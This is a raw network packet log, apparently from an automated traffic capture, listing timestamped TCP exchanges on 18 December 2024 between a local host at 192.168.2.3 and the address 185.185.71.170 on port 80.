Dec 18, 2024 20:56:44.038223982 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.038948059 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.038964987 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.039073944 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.039836884 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.039845943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.039856911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.039897919 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.164716005 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.164896965 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.164905071 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.165018082 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.165700912 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.165779114 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.166053057 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.166060925 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.166174889 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.166870117 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.166878939 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.166939974 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.167692900 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.168061972 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.168111086 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.168132067 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.168895006 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.168904066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.169049978 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.169699907 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.169708014 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.169847012 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.170661926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.170670033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.170722961 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.171566010 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.171575069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.171586037 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.171628952 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.172508955 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.172521114 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.172578096 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.173245907 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.173264027 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.173635006 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.174173117 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.174180984 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.174252033 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.175102949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.175111055 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.175123930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.175215006 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.175961971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.175971031 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.176095009 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.176856995 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.176866055 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.176876068 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.176908970 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.176929951 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.200834036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.201199055 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.201210022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.201316118 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.201899052 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.201906919 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.201980114 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.202840090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.203152895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.203164101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.203205109 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.203336954 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.203915119 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.203922033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.204690933 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.204729080 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.204735994 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.204823971 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.205694914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.205703020 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.206536055 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.206551075 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.206578016 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.207336903 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.207451105 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.207468987 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.207894087 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.208353043 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.208360910 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.208370924 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.208414078 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.209278107 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.209285021 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.209914923 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.210232019 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.210241079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.210383892 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.211034060 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.211042881 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.211100101 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.211967945 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.211977959 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.212009907 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.212038994 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.212162018 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.212984085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.212995052 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.213102102 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.213834047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.213844061 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.213892937 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.214627028 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.214649916 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.215167999 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.215521097 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.215528965 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.216315031 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.216494083 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.216500998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.216516972 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.216548920 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.217336893 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.217344046 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.217497110 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.218238115 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.218245029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.219197035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.219202995 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.219228029 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.219347000 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.219995022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.220009089 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.220443964 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.220942974 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.220948935 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.220958948 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.220994949 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.221035957 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.221865892 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.221873045 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.221954107 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.222735882 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.222743034 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.222917080 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.223711967 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.223718882 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.223788977 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.224498034 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.224519968 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.225178003 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.225410938 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.225416899 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.225423098 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.225465059 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.226293087 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.226331949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.226363897 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.227344036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.227350950 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.227498055 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.228322983 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.228329897 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.228401899 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.229018927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.229024887 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.229036093 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.229075909 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.229938984 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.229945898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.230509043 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.356797934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.357038975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.357047081 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.357151031 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.357836008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.357889891 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.358057022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.358472109 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.358480930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.358535051 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.359301090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.359308004 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.359358072 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.360177040 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.360219002 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.360532999 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.361406088 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.361413002 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.361475945 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.362102032 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.362160921 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.363002062 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.363009930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.363080025 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.363897085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.363913059 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.364026070 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.364813089 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.364820957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.364948034 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.365693092 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.365700006 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.365710974 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.365751982 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.366594076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.366600990 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.366964102 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.367480993 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.367491961 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.367614031 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.368455887 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.368464947 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.368575096 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.369330883 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.369338989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.369344950 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.369457960 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.370251894 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.370259047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.370327950 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.392872095 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.393132925 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.393138885 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.393627882 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.393640041 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.393652916 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.393693924 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.394438982 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.394871950 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.395499945 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.395513058 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.395555973 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.396013021 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.396034002 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.396298885 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.396985054 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.396998882 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.397066116 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.397885084 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.397891998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.397989988 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.398720980 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.398729086 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.398825884 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.399631023 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.399651051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.399657965 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.399749994 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.400691986 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.400712013 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.400800943 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.401588917 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.401595116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.401679993 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.402471066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.402478933 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.402543068 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.403220892 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.403228045 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.403275013 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.404274940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.404290915 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.404324055 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.405091047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.405098915 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.405103922 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.405230045 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.406033993 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.406812906 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.406820059 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.406831026 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.406871080 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.407747030 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.407756090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.407834053 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.408694029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.408700943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.408754110 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.409594059 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.409607887 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.409704924 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.410384893 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.410399914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.410470963 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.411365032 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.411371946 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.411377907 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.411465883 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.412228107 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.412234068 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.412297010 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.413115025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.413136959 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.413161993 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.414009094 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.414016962 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.414045095 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.414901972 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.414910078 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.414979935 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.415767908 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.415782928 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.415824890 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.416675091 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.416692972 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.416764975 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.417594910 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.417603970 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.417609930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.417638063 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.417658091 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.418504953 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.418519020 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.418565989 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.419384956 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.419400930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.419447899 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.420325041 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.420332909 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.420403004 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.421212912 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.421221018 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.421231985 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.421260118 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.422138929 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.422146082 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.422317028 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.423018932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.423026085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.423171043 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.549278021 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.549393892 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.549400091 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.549489021 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.549916029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.549922943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.550029993 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.550695896 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.550757885 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:44.551136971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.551145077 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:44.551280975 CET	49747	80	192.168.2.3	185.185.71.170
